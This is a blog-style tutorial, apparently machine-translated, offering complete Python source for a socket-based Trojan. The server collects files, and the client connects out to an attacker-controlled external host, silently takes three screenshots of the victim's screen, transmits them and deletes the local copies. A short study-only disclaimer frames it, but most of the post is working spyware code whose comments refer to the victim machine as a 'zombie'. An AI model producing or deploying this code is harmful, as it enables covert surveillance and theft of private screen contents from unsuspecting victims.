Python-Socket writes simple scripts and Trojans remotely control screenshots and send screenshots

Disclaimer: This article is only for the study and communication of network security. Any operation has nothing to do with the author.
Please abide by the laws and regulations of our country

1. Tools & Environment

  1. Python 3
  2. Peanut shells
  3. Remote calculator

2. Experimental principle

Insert picture description here

Three, write script

If an error occurs, please change the encoding method, such as: gb18030, gbk, etc.

Ⅰ. Server server

import socket,sys,threading,struct,os

def service():
	#抛出错误
    try:
    	#创建套接字
        server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        #配置端口释放规则,1代表立即释放,默认2min
        server.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        serveraddr = ("",14444)
        server.bind(serveraddr)
        server.listen(10)
    except socket.error as e:
        print("*建立Socket失败,由于:",e,sep="")
        sys.exit(1)

    print("Wainting for Connection...")

    #循环,业务等待
    while True:
        #确认链接
        clientsocket,clientaddr = server.accept()
        #多线程
        t = threading.Thread(target=receiveDataFromClient,args=(clientsocket,clientaddr,))
        t.start()

#多线程接收数据
def receiveDataFromClient(clientsocket,clientaddr):
	#成功连接肉鸡的提示
    print("肉鸡来了{}".format(clientaddr))
    while True:
    	#设定单次接收图片的数据流大小为128bytes
        fileinfosize = struct.calcsize("128sl")
        fileinfopck = clientsocket.recv(fileinfosize)
        #如果数据流非空
        if fileinfopck:
        	#解包
            filename,filesize = struct.unpack("128sl",fileinfopck)
            filename = filename.strip(str.encode("\00"))

            #接收图片
            newfilename = os.path.join(str.encode("./"),str.encode("new_")+filename)
            print("接收文件{},另存为{}".format(filename,newfilename))

            #统计接收量
            recv_file_size = 0
            #创建缓存文件
            tempfile = open(newfilename,"wb")
            #判断分段数据,写入缓存文件
            while not recv_file_size == filesize:
                if  filesize - recv_file_size > 1024:
                    recvdata = clientsocket.recv(1024)
                    recv_file_size += len(recvdata)
                else:
                    recvdata = clientsocket.recv(filesize - recv_file_size)
                    recv_file_size = filesize
                tempfile.write(recvdata)

            tempfile.close()
            print("文件接收完成,保存在{}".format(newfilename))
            
if __name__ == "__main__":
    service()
    

Ⅱ. Client

import socket,pyautogui,time,os,struct
#创建套接字、建立连接
def client_service():
    try:
        client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        #填写外网IP和端口
        serveraddr = ("花生壳IP",14444)
        client.connect(serveraddr)
        #截图并发送至Server
        screenshot(client)
        #清除图片
        for i in range(1, 4):
            os.remove("screenshot_{}.jpg".format(i))

    except socket.error as e:
        pass

#截图并发送
def screenshot(client):
    cout = 0
    #截图三张
    while cout < 3:
    	#使用pyautogui库函数截图
        img = pyautogui.screenshot()
        cout += 1
        img.save("screenshot_{}.jpg".format(cout))
        time.sleep(3)
        
        #分包传输文件,包两端对称
        filepath = "screenshot_{}.jpg".format(cout)
        if os.path.isfile(filepath):
            #判断截图是否存在
            #每个包大小128bytes
            fileinfopck = struct.pack("128sl",bytes(os.path.basename(filepath).encode("utf-8")),os.stat(filepath).st_size)
            client.send(fileinfopck)
            #数据分段发送
            fileobj = open(filepath,"rb")
            while True:
                sendfiledata = fileobj.read(1024)
                if not sendfiledata:
                    print("{}文件发送完毕".format(filepath))
                    break
                client.send(sendfiledata)

if __name__ == "__main__":
    client_service()

Fourth, run screenshots

Insert picture description here

Be vigilant and do not install software from unknown sources

Finish

Welcome to leave a message in the comment area.
Thanks for browsing

Guess you like

Origin blog.csdn.net/Xxy605/article/details/107720609